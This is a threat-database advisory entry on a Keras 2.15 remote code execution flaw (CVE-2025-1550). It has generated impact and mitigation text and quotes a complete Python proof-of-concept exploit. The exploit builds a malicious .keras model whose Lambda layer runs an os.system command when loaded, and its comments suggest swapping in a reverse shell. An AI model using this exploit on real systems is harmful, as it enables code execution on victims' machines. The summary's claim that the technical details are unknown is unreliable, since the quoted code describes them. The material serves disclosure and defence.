Keras 2.15 - Remote Code Execution (RCE)
Keras 2.15 - Remote Code Execution (RCE)
AI Analysis
Technical Summary
The reported security threat concerns a Remote Code Execution (RCE) vulnerability in Keras version 2.15. Keras is a widely used open-source deep learning framework written in Python, often employed for building and training neural networks. An RCE vulnerability in such a framework implies that an attacker could execute arbitrary code on the system running Keras, potentially gaining full control over the affected environment. Although the exact technical details of the vulnerability are not provided, the presence of exploit code written in Python suggests that the exploit leverages Python-specific features or weaknesses in Keras's codebase or its deserialization mechanisms. Given Keras's role in processing potentially untrusted input data or model files, the vulnerability might be related to unsafe handling of serialized objects, model loading, or input preprocessing. The lack of affected versions specified and absence of patch links indicate that this is a newly disclosed vulnerability, possibly zero-day at the time of reporting. The critical severity assigned reflects the high risk associated with RCE vulnerabilities, especially in environments where Keras is integrated into production pipelines or exposed to external inputs. Since no known exploits are reported in the wild yet, proactive mitigation is crucial to prevent exploitation once the vulnerability becomes widely known.
Potential Impact
For European organizations, the impact of this RCE vulnerability in Keras 2.15 can be significant, especially for industries relying heavily on machine learning and AI technologies, such as finance, healthcare, automotive, and telecommunications. Successful exploitation could lead to unauthorized access to sensitive data, disruption of AI-driven services, and potential lateral movement within corporate networks. Given that Keras is often used in research and production environments, compromised systems could result in data breaches, intellectual property theft, or sabotage of AI models, undermining trust and causing financial and reputational damage. Additionally, organizations using cloud-based AI services or shared environments might face increased risk if Keras instances are exposed to untrusted inputs. The critical nature of the vulnerability means that attackers could execute arbitrary commands without authentication or user interaction, amplifying the threat's severity. Compliance with European data protection regulations such as GDPR could also be jeopardized if personal data is exposed or manipulated due to this vulnerability.
Mitigation Recommendations
European organizations should immediately audit their environments to identify any deployments of Keras 2.15. Until an official patch is released, organizations should consider the following specific mitigations: 1) Restrict access to systems running Keras to trusted users and networks only, minimizing exposure to untrusted inputs. 2) Implement strict input validation and sanitization for any data or model files processed by Keras to prevent malicious payloads. 3) Employ application-level sandboxing or containerization to isolate Keras processes, limiting the impact of potential exploitation. 4) Monitor system and application logs for unusual activity indicative of exploitation attempts, such as unexpected Python code execution or network connections. 5) Engage with vendors or the open-source community to obtain patches or workarounds as soon as they become available. 6) Review and harden the security posture of AI/ML pipelines, including restricting file upload capabilities and disabling unnecessary features that could be exploited. 7) Consider temporarily downgrading to a previous, unaffected version of Keras if feasible and tested for compatibility.
Affected Countries
Germany, France, United Kingdom, Netherlands, Sweden, Finland, Italy, Spain, Belgium, Poland
Indicators of Compromise
- exploit-code: #!/usr/bin/env python3 # Exploit Title: Keras 2.15 - Remote Code Execution (RCE) # Author: Mohammed Idrees Banyamer # Instagram: @banyamer_security # GitHub: https://github.com/mbanyamer # Date: 2025-07-09 # Tested on: Ubuntu 22.04 LTS, Python 3.10, TensorFlow/Keras <= 2.15 # CVE: CVE-2025-1550 # Type: Remote Code Execution (RCE) # Platform: Python / Machine Learning (Keras) # Author Country: Jordan # Attack Vector: Malicious .keras file (client-side code execution via deserialization) # Description: # This exploit abuses insecure deserialization in Keras model loading. By embedding # a malicious "function" object inside a .keras file (or config.json), an attacker # can execute arbitrary system commands as soon as the model is loaded using # `keras.models.load_model()` or `model_from_json()`. # # This PoC generates a .keras file which, when loaded, triggers a reverse shell or command. # Use only in safe, sandboxed environments! # # Steps of exploitation: # 1. The attacker creates a fake Keras model using a specially crafted config.json. # 2. The model defines a Lambda layer with a "function" deserialized from the `os.system` call. # 3. When the victim loads the model using `load_model()`, the malicious function is executed. # 4. Result: Arbitrary Code Execution under the user running the Python process. # Affected Versions: # - Keras <= 2.15 # - TensorFlow versions using unsafe deserialization paths (prior to April 2025 patch) # # Usage: # $ python3 exploit_cve_2025_1550.py # [*] Loads the malicious model # [✓] Executes the payload (e.g., creates a file in /tmp) # # # Options: # - PAYLOAD: The command to execute upon loading (default: touch /tmp/pwned_by_keras) # - You may change this to: reverse shell, download script, etc. # Example: # $ python3 exploit_cve_2025_1550.py # [+] Created malicious model: malicious_model.keras # [*] Loading malicious model to trigger exploit... # [✓] Model loaded. If vulnerable, payload should be executed. import os import json from zipfile import ZipFile import tempfile import shutil from tensorflow.keras.models import load_model PAYLOAD = "touch /tmp/pwned_by_keras" def create_malicious_config(): return { "class_name": "Functional", "config": { "name": "pwned_model", "layers": [ { "class_name": "Lambda", "config": { "name": "evil_lambda", "function": { "class_name": "function", "config": { "module": "os", "function_name": "system", "registered_name": None } }, "arguments": [PAYLOAD] } } ], "input_layers": [["evil_lambda", 0, 0]], "output_layers": [["evil_lambda", 0, 0]] } } def build_malicious_keras(output_file="malicious_model.keras"): tmpdir = tempfile.mkdtemp() try: config_path = os.path.join(tmpdir, "config.json") with open(config_path, "w") as f: json.dump(create_malicious_config(), f) metadata_path = os.path.join(tmpdir, "metadata.json") with open(metadata_path, "w") as f: json.dump({"keras_version": "2.15.0"}, f) weights_path = os.path.join(tmpdir, "model.weights.h5") with open(weights_path, "wb") as f: f.write(b"\x89HDF\r\n\x1a\n") # توقيع HDF5 with ZipFile(output_file, "w") as archive: archive.write(config_path, arcname="config.json") archive.write(metadata_path, arcname="metadata.json") archive.write(weights_path, arcname="model.weights.h5") print(f"[+] Created malicious model: {output_file}") finally: shutil.rmtree(tmpdir) def trigger_exploit(model_path): print("[*] Loading malicious model to trigger exploit...") load_model(model_path) print("[✓] Model loaded. If vulnerable, payload should be executed.") if __name__ == "__main__": keras_file = "malicious_model.keras" build_malicious_keras(keras_file) trigger_exploit(keras_file)
Keras 2.15 - Remote Code Execution (RCE)
Description
Keras 2.15 - Remote Code Execution (RCE)
AI-Powered Analysis
Technical Analysis
The reported security threat concerns a Remote Code Execution (RCE) vulnerability in Keras version 2.15. Keras is a widely used open-source deep learning framework written in Python, often employed for building and training neural networks. An RCE vulnerability in such a framework implies that an attacker could execute arbitrary code on the system running Keras, potentially gaining full control over the affected environment. Although the exact technical details of the vulnerability are not provided, the presence of exploit code written in Python suggests that the exploit leverages Python-specific features or weaknesses in Keras's codebase or its deserialization mechanisms. Given Keras's role in processing potentially untrusted input data or model files, the vulnerability might be related to unsafe handling of serialized objects, model loading, or input preprocessing. The lack of affected versions specified and absence of patch links indicate that this is a newly disclosed vulnerability, possibly zero-day at the time of reporting. The critical severity assigned reflects the high risk associated with RCE vulnerabilities, especially in environments where Keras is integrated into production pipelines or exposed to external inputs. Since no known exploits are reported in the wild yet, proactive mitigation is crucial to prevent exploitation once the vulnerability becomes widely known.
Potential Impact
For European organizations, the impact of this RCE vulnerability in Keras 2.15 can be significant, especially for industries relying heavily on machine learning and AI technologies, such as finance, healthcare, automotive, and telecommunications. Successful exploitation could lead to unauthorized access to sensitive data, disruption of AI-driven services, and potential lateral movement within corporate networks. Given that Keras is often used in research and production environments, compromised systems could result in data breaches, intellectual property theft, or sabotage of AI models, undermining trust and causing financial and reputational damage. Additionally, organizations using cloud-based AI services or shared environments might face increased risk if Keras instances are exposed to untrusted inputs. The critical nature of the vulnerability means that attackers could execute arbitrary commands without authentication or user interaction, amplifying the threat's severity. Compliance with European data protection regulations such as GDPR could also be jeopardized if personal data is exposed or manipulated due to this vulnerability.
Mitigation Recommendations
European organizations should immediately audit their environments to identify any deployments of Keras 2.15. Until an official patch is released, organizations should consider the following specific mitigations: 1) Restrict access to systems running Keras to trusted users and networks only, minimizing exposure to untrusted inputs. 2) Implement strict input validation and sanitization for any data or model files processed by Keras to prevent malicious payloads. 3) Employ application-level sandboxing or containerization to isolate Keras processes, limiting the impact of potential exploitation. 4) Monitor system and application logs for unusual activity indicative of exploitation attempts, such as unexpected Python code execution or network connections. 5) Engage with vendors or the open-source community to obtain patches or workarounds as soon as they become available. 6) Review and harden the security posture of AI/ML pipelines, including restricting file upload capabilities and disabling unnecessary features that could be exploited. 7) Consider temporarily downgrading to a previous, unaffected version of Keras if feasible and tested for compatibility.
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Technical Details
- Edb Id
- 52359
- Has Exploit Code
- true
- Code Language
- python
Indicators of Compromise
Exploit Source Code
Exploit code for Keras 2.15 - Remote Code Execution (RCE)
#!/usr/bin/env python3 # Exploit Title: Keras 2.15 - Remote Code Execution (RCE) # Author: Mohammed Idrees Banyamer # Instagram: @banyamer_security # GitHub: https://github.com/mbanyamer # Date: 2025-07-09 # Tested on: Ubuntu 22.04 LTS, Python 3.10, TensorFlow/Keras <= 2.15 # CVE: CVE-2025-1550 # Type: Remote Code Execution (RCE) # Platform: Python / Machine Learning (Keras) # Author Country: Jordan # Attack Vector: Malicious .keras file (client-side code execution via deserialization) # Descrip... (3801 more characters)
Threat ID: 687816daa83201eaacdebcab
Added to database: 7/16/2025, 9:17:14 PM
Last enriched: 8/11/2025, 1:24:28 AM
Last updated: 8/31/2025, 11:03:09 AM
Views: 86
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